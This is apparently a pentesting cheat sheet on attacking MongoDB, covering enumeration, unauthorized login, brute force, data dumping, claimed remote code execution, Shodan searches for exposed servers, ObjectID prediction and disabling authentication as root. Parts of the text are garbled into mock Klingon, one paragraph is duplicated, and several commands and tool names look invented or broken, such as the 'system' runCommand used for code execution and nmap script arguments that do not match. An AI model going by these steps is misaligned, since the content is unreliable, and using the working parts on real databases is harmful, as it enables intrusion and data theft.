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hacktricks/network-services-pentesting/27017-27018-mongodb.md
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# 27017,27018 - Pentesting MongoDB
<details>
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## Basic Information
**MongoDB** is an **open source** database management system that uses a **document-oriented database model** to handle diverse forms of data. It offers flexibility and scalability for managing unstructured or semi-structured data in applications like big data analytics and content management.
**Default port:** 27017, 27018
```
PORT STATE SERVICE VERSION
27017/tcp open mongodb MongoDB 2.6.9 2.6.9
```
## Enumeration
### Manual
### QaD
#### `mongo` command
```bash
mongo --host <IP> --port <PORT>
```
#### `nmap` script
```bash
nmap -p <PORT> --script mongodb-info <IP>
```
### Automated
#### `Metasploit` module
```bash
use auxiliary/scanner/mongodb/mongodb_login
```
#### `Nessus` plugin
```bash
MongoDB Information
```
### Exploitation
#### Unauthorized Access
##### `mongo` command
```bash
mongo --host <IP> --port <PORT> --username <USERNAME> --password <PASSWORD> --authenticationDatabase admin
```
##### `pymongo` library
```python
from pymongo import MongoClient
client = MongoClient("<IP>", <PORT>)
db = client.admin
db.authenticate("<USERNAME>", "<PASSWORD>")
```
##### `Metasploit` module
```bash
use exploit/multi/mongodb/mongo_login
```
##### `Nmap` script
```bash
nmap -p <PORT> --script mongodb-brute --script-args 'mongodb-brute.username=<USERNAME>,mongodb-brute.password=<PASSWORD>' <IP>
```
#### Remote Code Execution
##### `mongo` command
```bash
mongo --host <IP> --port <PORT> --eval 'db.getSiblingDB("admin").runCommand({cmd: "system", args: ["<COMMAND>"]})'
```
##### `pymongo` library
```python
from pymongo import MongoClient
client = MongoClient("<IP>", <PORT>)
db = client.admin
db.command('eval', 'db.getSiblingDB("admin").runCommand({cmd: "system", args: ["<COMMAND>"]})')
```
##### `Metasploit` module
```bash
use exploit/multi/mongodb/mongodb_cmd_exec
```
##### `Nmap` script
```bash
nmap -p <PORT> --script mongodb-database-stats --script-args 'mongodb-database-stats.command=<COMMAND>' <IP>
```
#### Data Exfiltration
##### `mongo` command
```bash
mongo --host <IP> --port <PORT> --eval 'db.getSiblingDB("admin").<COLLECTION>.find().forEach(printjson)'
```
##### `pymongo` library
```python
from pymongo import MongoClient
client = MongoClient("<IP>", <PORT>)
db = client.admin
collection = db.<COLLECTION>
for document in collection.find():
print(document)
```
##### `Metasploit` module
```bash
use auxiliary/scanner/mongodb/mongodb_dump
```
##### `Nmap` script
```bash
nmap -p <PORT> --script mongodb-dump --script-args 'mongodb-dump.collection=<COLLECTION>' <IP>
```
#### Database Manipulation
##### `mongo` command
```bash
mongo --host <IP> --port <PORT> --eval 'db.getSiblingDB("<DATABASE>").<COLLECTION>.<COMMAND>'
```
##### `pymongo` library
```python
from pymongo import MongoClient
client = MongoClient("<IP>", <PORT>)
db = client.<DATABASE>
collection = db.<COLLECTION>
collection.<COMMAND>
```
##### `Metasploit` module
```bash
use auxiliary/admin/mongodb/mongodb_command
```
##### `Nmap` script
```bash
nmap -p <PORT> --script mongodb-database-stats --script-args 'mongodb-database-stats.command=<COMMAND>' <IP>
```
#### Database Dump
##### `mongo` command
```bash
mongodump --host <IP> --port <PORT> --out <DIRECTORY>
```
##### `pymongo` library
```python
from pymongo import MongoClient
import subprocess
subprocess.call(["mongodump", "--host", "<IP>", "--port", "<PORT>", "--out", "<DIRECTORY>"])
```
##### `Metasploit` module
```bash
use auxiliary/scanner/mongodb/mongodb_dump
```
##### `Nmap` script
```bash
nmap -p <PORT> --script mongodb-dump --script-args 'mongodb-dump.directory=<DIRECTORY>' <IP>
```
#### Database Restore
##### `mongo` command
```bash
mongorestore --host <IP> --port <PORT> --dir <DIRECTORY>
```
##### `pymongo` library
```python
from pymongo import MongoClient
import subprocess
subprocess.call(["mongorestore", "--host", "<IP>", "--port", "<PORT>", "--dir", "<DIRECTORY>"])
```
##### `Metasploit` module
```bash
use auxiliary/scanner/mongodb/mongodb_restore
```
##### `Nmap` script
```bash
nmap -p <PORT> --script mongodb-dump --script-args 'mongodb-dump.directory=<DIRECTORY>' <IP>
```
```python
from pymongo import MongoClient
client = MongoClient(host, port, username=username, password=password)
client.server_info() #Basic info
#If you have admin access you can obtain more info
admin = client.admin
admin_info = admin.command("serverStatus")
cursor = client.list_databases()
for db in cursor:
print(db)
print(client[db["name"]].list_collection_names())
#If admin access, you could dump the database also
```
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```bash
show dbs
use <db>
show collections
db.<collection>.find() #Dump the collection
db.<collection>.count() #Number of records of the collection
db.current.find({"username":"admin"}) #Find in current db the username admin
```
### QapDI'
#### Description
Automatic pentesting tools can be used to scan for vulnerabilities in MongoDB databases running on ports 27017 and 27018. These tools automate the process of identifying potential security weaknesses and can save time and effort during a penetration test.
#### Ngech
Automatic pentesting tools can be used to scan for vulnerabilities in MongoDB databases running on ports 27017 and 27018. These tools automate the process of identifying potential security weaknesses and can save time and effort during a penetration test.
```bash
nmap -sV --script "mongo* and default" -p 27017 <IP> #By default all the nmap mongo enumerate scripts are used
```
### Shodan
* bIng mongodb: `"mongodb server information"`
* bIng vItlh mongodb server: `"mongodb server information" -"partially enabled"`
* bIng vItlh partially enable auth: `"mongodb server information" "partially enabled"`
## Login
mongo jatlh password chImej.\
**Admin** mongo database vItlh 'oH.
```bash
mongo <HOST>
mongo <HOST>:<PORT>
mongo <HOST>:<PORT>/<DB>
mongo <database> -u <username> -p '<password>'
```
The nmap script: _**mongodb-brute**_ will check if creds are needed.
**Klingon Translation:**
_**mongodb-brute**_ nmap script: creds vItlhutlh.
```bash
nmap -n -sV --script mongodb-brute -p 27017 <ip>
```
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#mongo)
_ghItlh_/opt/bitnami/mongodb/mongodb.conf_ vItlhutlh _credentials_ vItlhutlh:
```bash
grep "noauth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#" #Not needed
grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not needed
```
## Mongo Objectid Predict
Example [from here](https://techkranti.com/idor-through-mongodb-object-ids-prediction/).
Mongo Object IDs are **12-byte hexadecimal** strings:
![http://techidiocy.com/_id-objectid-in-mongodb/](../.gitbook/assets/id-and-objectids-in-mongodb.png)
For example, here’s how we can dissect an actual Object ID returned by an application: 5f2459ac9fa6dc2500314019
1. 5f2459ac: 1596217772 in decimal = Friday, 31 July 2020 17:49:32
2. 9fa6dc: Machine Identifier
3. 2500: Process ID
4. 314019: An incremental counter
Of the above elements, machine identifier will remain the same for as long as the database is running the same physical/virtual machine. Process ID will only change if the MongoDB process is restarted. Timestamp will be updated every second. The only challenge in guessing Object IDs by simply incrementing the counter and timestamp values, is the fact that Mongo DB generates Object IDs and assigns Object IDs at a system level.
The tool [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict), given a starting Object ID (you can create an account and get a starting ID), it sends back about 1000 probable Object IDs that could have possibly been assigned to the next objects, so you just need to bruteforce them.
## Post
If you are root you can **modify** the **mongodb.conf** file so no credentials are needed (_noauth = true_) and **login without credentials**.
***
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